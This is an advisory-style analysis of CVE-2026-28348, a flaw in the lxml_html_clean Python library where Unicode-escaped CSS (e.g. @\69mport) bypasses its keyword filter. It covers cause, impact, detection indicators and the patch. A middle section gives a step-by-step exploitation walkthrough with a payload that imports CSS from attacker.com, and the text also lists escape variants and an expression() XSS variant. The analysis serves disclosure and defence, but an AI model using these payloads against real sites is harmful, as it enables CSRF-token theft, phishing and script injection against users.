CVE-2026-28348: 
Python vulnerability analysis and mitigation

CVE-2026-28348 is a CSS @import filter bypass vulnerability in the lxml_html_clean Python library (a project maintaining HTML cleaning functionalities originally from lxml.html.clean). The flaw allows attackers to bypass the library's dangerous CSS keyword filters using Unicode escape sequences, enabling external CSS loading or XSS in older browsers. All versions up to and including 0.4.3 are affected; the issue was disclosed and patched on March 2, 2026, with version 0.4.4 (GitHub Advisory). It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory).

The root cause is in the _has_sneaky_javascript() method in clean.py (around line 594), which strips all backslashes from CSS input before checking for dangerous keywords (CWE-116: Improper Encoding or Escaping of Output; CWE-1289: Improper Validation of Unsafe Equivalence in Input). The problematic line style = style.replace('\\', '') transforms a payload like @\69mport into @69mport, which does not match the @import blacklist — but browsers decode \69 as the character i per CSS spec section 4.3.7, treating it as a valid @import statement. The same bypass applies to expression() detection (e.g., \65xpression(alert(1))), and multiple variants work including @\0069mport, @\69 mport, and @\49mport (GitHub Advisory, Patch Commit). Exploitation requires that a victim's browser renders the attacker-crafted HTML processed by the vulnerable cleaner.

Successful exploitation allows an attacker to inject malicious CSS that survives the HTML sanitization process. External CSS loading via @import enables data exfiltration through CSS attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing attacks against users who view the sanitized content. In older browsers such as Internet Explorer, the expression() bypass enables full cross-site scripting (XSS), allowing arbitrary JavaScript execution in the victim's browser context (GitHub Advisory). Availability is not impacted, but both confidentiality and integrity are at low-to-moderate risk depending on the deployment context.

A proof-of-concept (PoC) is publicly available in the GitHub Security Advisory, demonstrating the bypass with a simple Python snippet (GitHub Advisory). There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.028% (0.051% per GitHub Advisory), placing it in the 16th percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection is available via Nessus plugin 301397.

1. Identify target application: Find a web application that uses lxml_html_clean versions ≤ 0.4.3 to sanitize user-supplied HTML content before rendering it to other users (e.g., a comment system, email renderer, or CMS).
2. Craft malicious CSS payload: Construct a CSS @import statement using Unicode escape sequences to bypass the keyword filter, such as @\69mport url("http://attacker.com/evil.css");. Variants include @\0069mport, @\69 mport, or @\49mport.
3. Inject payload: Submit the crafted HTML/CSS as user input to the target application (e.g., in a style attribute or <style> tag within a comment or post field).
4. Bypass sanitization: The vulnerable _has_sneaky_javascript() method strips the backslash, producing @69mport which does not match the @import blacklist, allowing the payload to pass through the cleaner unchanged.
5. Victim renders content: When another user's browser renders the sanitized output, the browser's CSS parser correctly decodes \69 as i, executing the @import and loading the attacker-controlled external CSS file.
6. Achieve objective: The loaded external CSS can exfiltrate sensitive data (e.g., CSRF tokens via attribute selectors), perform UI redressing/phishing, or — in Internet Explorer — execute arbitrary JavaScript via expression() (GitHub Advisory).

• Network: Outbound HTTP/HTTPS requests from user browsers to unexpected external domains loading .css files, particularly originating from pages that render user-supplied HTML content; DNS queries for attacker-controlled domains from end-user systems after viewing sanitized content.
• Logs: Application logs showing user-submitted content containing CSS with backslash-hex patterns (e.g., \69, \0069, \49, \65) in style attributes or <style> tags; web server access logs showing requests to /evil.css or similar attacker-hosted resources.
• File System: Presence of stored HTML content in databases or file systems containing Unicode-escaped CSS keywords such as @\69mport, @\0069mport, or \65xpression.
• Process/Application: HTML sanitization output containing literal strings like @\69mport url(...) that were not stripped by the cleaner, indicating the vulnerable version is in use (GitHub Advisory).

Upgrade lxml_html_clean to version 0.4.4 or later, which replaces the naive backslash-stripping with proper CSS Unicode escape decoding via a new _decode_css_unicode_escapes() method before security checks are applied (Patch Commit). For systems unable to patch immediately, strictly validate and restrict user-supplied HTML input upstream before it reaches the cleaning function, and consider blocking CSS style attributes and <style> tags entirely as a temporary measure. Monitor application logs for CSS content containing backslash-hex escape patterns as described in the IOCs section (GitHub Advisory, Red Hat Bugzilla).

The vulnerability was reported by researcher uug4na and remediated by frenzymadness (a Fedora Python maintainer), with the advisory published directly to the GitHub Security Advisory Database on March 2, 2026 (GitHub Advisory). Red Hat tracked the issue via Bugzilla (Bug 2444968) and classified it as medium severity (Red Hat Bugzilla). OpenSUSE and Fedora issued security update announcements for their packaged versions of python-lxml-html-clean, indicating broad downstream distribution awareness. No significant social media controversy or major media coverage has been observed beyond standard vulnerability tracking outlets.